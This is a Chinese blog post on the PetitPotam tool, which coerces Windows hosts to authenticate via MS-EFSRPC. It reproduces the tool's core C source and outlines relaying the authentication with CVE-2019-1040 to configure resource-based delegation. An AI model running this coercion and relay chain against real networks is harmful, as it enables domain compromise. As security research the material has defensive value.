PetitPotam——另一种方式触发Windows主机认证

简介: PetitPotam——另一种方式触发Windows主机认证

https://github.com/topotam/PetitPotam

收到GitHub推送看到了一个新工具可以触发Windows主机认证请求,

通过MS-EFSRPC协议的EfsRpcOpenFileRaw函数

查看源代码:

int wmain(int argc, wchar_t** argv, wchar_t** envp)
{
  wprintf(L"Usage: PetitPotam.exe <captureServerIP> <targetServerIP> \n");
  handle_t ht = Bind(argv[2]);
  HRESULT hr = NULL;
  PEXIMPORT_CONTEXT_HANDLE plop;
  SecureZeroMemory((char*)&(plop), sizeof(plop));
  wchar_t buffer[100];
  swprintf(buffer, 100, L"\\\\%s\\test\\topotam.exe", argv[1]);
  long flag = 0;
  hr = EfsRpcOpenFileRaw(ht, &plop, buffer, flag);
  if (hr == ERROR_BAD_NETPATH) {
    wprintf(L"Attack success!!!\n");
  }
  return 0;
}

第四行向目标机器RPC进行认证返回句柄,然后构造参数后直接调用EfsRpcOpenFileRaw这个API

老样子,认证还是SMB,是带签名的可以配合CVE-2019-1040进行relay操作,而且在我测试2008printbug用不了的主机通过此工具也可以成功触发请求

然后中继机器收到请求

成功配置了RBCD

相关文章
|
网络协议 网络安全 虚拟化
解决虚拟机安装windows7无法与主机ping通的解决方案
解决虚拟机安装windows7无法与主机ping通的解决方案
解决虚拟机安装windows7无法与主机ping通的解决方案
|
存储 分布式计算 安全
VMware 安装CentOS7配置环境、安装虚拟机、选择cd/dvd的方式安装系统、系统安装引导界面、需要定制化的内容、配置磁盘分区、修改主机名、网络配置、修改windows的主机映射文件(host
调整时间差、安装GHOME(图形化界面的方式)注意图上标注的点击顺序、添加boot、添加swap交换分区、配置根(/)目录、编辑VMware的网络配置、Windows的网络配置、虚拟机网络IP修改地址配置、修改主机名和hosts文件、配置Linux克隆机主机名称映射hosts文件,打开/etc/hosts、关闭 kdump本身虚拟机内存就不够,他会吃掉一部分内存,我们尽量省一点、是否打开安全协议(开启与否都可以)、安装时间比较长大概需要10几分钟(设置root用户密码,一定要设置)、创建一个普通用户(可以不
VMware 安装CentOS7配置环境、安装虚拟机、选择cd/dvd的方式安装系统、系统安装引导界面、需要定制化的内容、配置磁盘分区、修改主机名、网络配置、修改windows的主机映射文件(host
|
监控 前端开发 安全
CentOS7 部署 Zabbix 监控平台———监控网络设备,Linux 主机、Windows 主机
Zabbix 能监视各种网络参数,保证服务器系统的安全运营;并提供灵活的通知机制以让系统管理员快速定位/解决存在的各种问题。是一个基于 Web 界面的提供分布式系统监视以及网络监视功能的企业级开源解决方案。
993 0
CentOS7 部署 Zabbix 监控平台———监控网络设备,Linux 主机、Windows 主机
|
2月前
|
弹性计算 Ubuntu Linux
2024年Windows/Linux搭建幻兽帕鲁主机教程(超详细图文)
幻兽帕鲁作为一款热门多人在线游戏,为了给玩家提供稳定、流畅的联机体验,阿里云提供了高效便捷的快速部署解决方案,本文将为大家介绍阿里云一键部署幻兽帕鲁联机服务器详细教程。
|
6月前
|
运维 安全 Linux
企业实战(18)超简单实现轻量级开源堡垒机Teleport管理Linux/Windows主机(2)
企业实战(18)超简单实现轻量级开源堡垒机Teleport管理Linux/Windows主机(2)
|
安全 Java jenkins
Jenkins 解决Jenkins下java无法运行slave-agent jnlp程序连接Windows Slave主机
Jenkins 解决Jenkins下java无法运行slave-agent jnlp程序连接Windows Slave主机
233 0
QGS
|
监控 Windows
(Centos7-x86)zabbix5.0—agent2 监控windows主机
记(Centos7-x86)zabbix5.0—agent2 监控windows主机
QGS
119 0
(Centos7-x86)zabbix5.0—agent2 监控windows主机
|
Windows
全网首发:WINDOWS主机与MAC虚拟机文件访问的解决办法
全网首发:WINDOWS主机与MAC虚拟机文件访问的解决办法
152 0
全网首发:WINDOWS主机与MAC虚拟机文件访问的解决办法
|
Java Linux Windows
LINUX虚拟机与WINDOWS主机,直接复制交换文件会有问题
LINUX虚拟机与WINDOWS主机,直接复制交换文件会有问题
102 0
|
存储 分布式计算 安全
VMware 安装CentOS7配置环境、安装虚拟机、选择cd/dvd的方式安装系统、系统安装引导界面、需要定制化的内容、配置磁盘分区、修改主机名、网络配置、修改windows的主机映射文件(host
调整时间差、安装GHOME(图形化界面的方式)注意图上标注的点击顺序、添加boot、添加swap交换分区、配置根(/)目录、编辑VMware的网络配置、Windows的网络配置、虚拟机网络IP修改地址配置、修改主机名和hosts文件、配置Linux克隆机主机名称映射hosts文件,打开/etc/hosts、关闭 kdump本身虚拟机内存就不够,他会吃掉一部分内存,我们尽量省一点、是否打开安全协议(开启与否都可以)、安装时间比较长大概需要10几分钟(设置root用户密码,一定要设置)、创建一个普通用户(可以不
264 1
VMware 安装CentOS7配置环境、安装虚拟机、选择cd/dvd的方式安装系统、系统安装引导界面、需要定制化的内容、配置磁盘分区、修改主机名、网络配置、修改windows的主机映射文件(host